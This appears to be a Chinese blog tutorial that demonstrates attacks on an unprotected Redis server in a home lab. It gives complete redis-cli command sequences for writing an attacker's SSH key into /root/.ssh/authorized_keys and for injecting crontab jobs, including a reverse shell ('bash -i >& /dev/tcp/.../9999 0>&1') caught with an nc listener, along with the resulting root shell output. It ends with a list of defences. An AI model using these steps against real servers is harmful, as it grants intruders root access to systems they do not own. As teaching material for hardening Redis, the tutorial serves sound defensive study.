Redis 是黑客攻击的重灾区.
此处结合我菜鸟时的经历, 展示其中一些常见的攻击方式.
环境准备
系统均为 Linux.
攻击方: 有 redis-cli 的任意环境, 此处用我内网的带 redis-cli 的 debian03 主机.
被攻击方: 一台装好并启动了 redis 的, 带 crontab 的机器, redis 允许远程访问, 此处我用网内的 debian04 主机.
另外, 为方便演示, redis 使用 6.2.7 版.
预备知识
-
Linux 基础: ssh 登录相关, crontab 定时任务, 网络基础(如 nc)
-
Redis 基础: 可见我写的: Redis 基本常识 (掘金) 或者 Redis 基本常识 (个人小站)
-
Linux 小知识: /dev/tcp, 可见我写的: 伪装成文件的命令行socket连接工具 (掘金) 或者 伪装成文件的命令行socket连接工具 (个人小站)
前置条件
redis 服务未开启 protected-mode 且密码已泄露(或未设置密码).
redis 使用 root 账号启动.
redis 宿主机开启了 ssh 密钥登录 (攻击一所需条件).
攻击一: 写入密钥获取远程登录权限
-
攻击方本地创建密钥:
$ ssh-keygen -t rsa Generating public/private rsa key pair. Enter file in which to save the key (/root/.ssh/id_rsa): Enter passphrase (empty for no passphrase): Enter same passphrase again: Your identification has been saved in /root/.ssh/id_rsa Your public key has been saved in /root/.ssh/id_rsa.pub The key fingerprint is: SHA256:eFv7MUHfUU852j2+YyhoSM5Lds1ejMYNfW6Pm5X10sQ root@debian03 The key's randomart image is: +---[RSA 3072]----+ | +| | +o| | . o.+| | . ..o =o| | . S ....o.E| | o o+.=.o++| | +oo.o*o+o+=| | o+.ooo.+.O.| | .o .o =.o| +----[SHA256]-----+ -
查看密钥
$ cat ~/.ssh/id_rsa.pub ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC3ZSnJYesaSACzn9WhAvh2eRqOSVR5xx4iJJRvU6kjo8o2+zrBtiiIc1BUCqzC4ZtmwcwK1EJbruCOPR5coiXhSV6vkzAME9vCwZcNfIYhHdi6iR7cJRUHoM2SLSHHUpemwwU3T9O9emkdGxF0LavzX1Fr4WHx7ejPvo9/VfSkaOxzdbEWSu9wb7tBKHdosYax+SfpR39eYQGdeFAdBUWkkJaZIc7DsD0EAuBq5kTR6/mKr7B5nbC6pFSRT+Lb1XvOdDSbRz6v7QDUO2NMIieZparhYcrdqI6FHOOw7E04i7gobE96HuMh0ZUZXCU65mFMkgI2v6Bn2cpTT9A3IdVrmR0MU5UFd8HmqbZdk28NsqIzeEypvEZlo6M42ByFFdJM/gkzQtzNKWXZn3uRmf8aB44PtIZ1O0x7bffvxXXTxTauDvl9Bxevh2R8adeOdy8yiU14iZjmQLTAh0j3P3CZpb7K+w2dX4d3BT1qZeZVkiCaeQjV9h3e3pMFOoy/3bk= root@debian03 -
设置并写入密钥
debian04:6379> config get dir 1) "dir" 2) "/var/lib/redis" debian04:6379> config get dbfilename 1) "dbfilename" 2) "dump.rdb" debian04:6379> config set dir /root/.ssh/ OK debian04:6379> config set dbfilename authorized_keys OK debian04:6379> set x "\r\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC3ZSnJYesaSACzn9WhAvh2eRqOSVR5xx4iJJRvU6kjo8o2+zrBtiiIc1BUCqzC4ZtmwcwK1EJbruCOPR5coiXhSV6vkzAME9vCwZcNfIYhHdi6iR7cJRUHoM2SLSHHUpemwwU3T9O9emkdGxF0LavzX1Fr4WHx7ejPvo9/VfSkaOxzdbEWSu9wb7tBKHdosYax+SfpR39eYQGdeFAdBUWkkJaZIc7DsD0EAuBq5kTR6/mKr7B5nbC6pFSRT+Lb1XvOdDSbRz6v7QDUO2NMIieZparhYcrdqI6FHOOw7E04i7gobE96HuMh0ZUZXCU65mFMkgI2v6Bn2cpTT9A3IdVrmR0MU5UFd8HmqbZdk28NsqIzeEypvEZlo6M42ByFFdJM/gkzQtzNKWXZn3uRmf8aB44PtIZ1O0x7bffvxXXTxTauDvl9Bxevh2R8adeOdy8yiU14iZjmQLTAh0j3P3CZpb7K+w2dX4d3BT1qZeZVkiCaeQjV9h3e3pMFOoy/3bk= root@debian03\r\n" OK debian04:6379> save OK -
此时攻击者便可以堂而皇之登录 redis 服务器了:
# root @ debian03 in ~ [16:30:00] $ ssh root@debian04 Linux debian04 5.10.0-18-amd64 #1 SMP Debian 5.10.140-1 (2022-09-02) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Sat Nov 5 16:24:02 2022 from 192.168.50.203 # root @ debian04 in ~ [16:30:01] $
攻击二: crontab 攻击
经测试, crontab 攻击在 debian 11 的系统中无法成功, 表现为 crontab 文件不接受非 crontab 标准格式的字符. 由于写入 rdb 的内容肯定会有特殊字符, 这将导致攻击失败, 也表明在 debian 11 下 crontab 的安全性相对较高.
于是临时换为 centos 系统, 版本为 centos7: 2009. 主机名为 centos01.
攻击示例:
# root @ debian03 in ~ [16:56:55]
$ redis-cli -h centos01
centos01:6379> config set dir /var/spool/cron/
OK
centos01:6379> config set dbfilename root
OK
centos01:6379> set x "\n* * * * * date >> ~/date.txt\n"
OK
centos01:6379> save
OK
此后 centos01 每分钟将执行 date >> ~/date.txt 的任务.
这个任务的命令可操作空间就很大了, 可以执行许多的攻击命令, 比如访问内部资源, 发送机密信息到攻击者处, 下载病毒文件并执行, 甚至打开反弹 shell 等等.
攻击三: 反弹 shell
许多攻击都是围绕着拿到肉鸡的 shell 进行的, 如果无法修改 ssh 配置去拿 shell, 那么如下方式也能让攻击者拿到 shell, 这种操作称为 反弹 shell, redis 获取反弹 shell 也常是入侵 crontab 来完成的.
-
攻击方先使用 nc 命令在本地机器打开一个监听端口:
nc -lvvp 9999 -
注入 crontab, 写入访问 nc 监听的命令
centos01:6379> config set dir /var/spool/cron/ OK centos01:6379> config set dbfilename root OK centos01:6379> set x "\n* * * * * bash -i >& /dev/tcp/debian03/9999 0>&1\n" OK centos01:6379> save OK本质上是打开一个 socket 通信.
不知道第三条命令含义的同学请看上文
预备知识第三点. -
crontab 成功执行后, debian03 便拿到了 centos01 的 shell.
完整过程:
# root @ debian03 in ~ [16:56:55] C:4 $ nc -lvvp 9999 listening on [any] 9999 ... connect to [192.168.50.203] from centos01 [192.168.50.231] 40282 bash: 此 shell 中无任务控制 [root@centos01 ~]# [root@centos01 ~]# ls ls anaconda-ks.cfg date.txt redis-6.2.7 redis-6.2.7.tar.gz [root@centos01 ~]#都拿到 shell 了, 后面能干啥就任君想象了.
预防方法
上述介绍的攻击方式只能说是九牛一毛.
然而只要做好安全措施, 攻击者纵然花样再多, 也无计可施. 包括但不限于:
- 开启 redis 的 protected-mode
- 使用 redis 密码
- 不使用 root 权限启动 redis
- 升级到新版 redis (在 redis 7 里 dir 与 dbfilename 不再轻易可改)
- 对外暴露的话使用不常用端口
- redis config 文件里监听地址使用白名单
- iptables 或者其它防火墙使用白名单过滤地址
- 调用方与 redis 服务组同一内网
总之, 大方向就是, 不在公网暴露服务地址和端口, 同时使用密码等手段提高 redis 的安全性.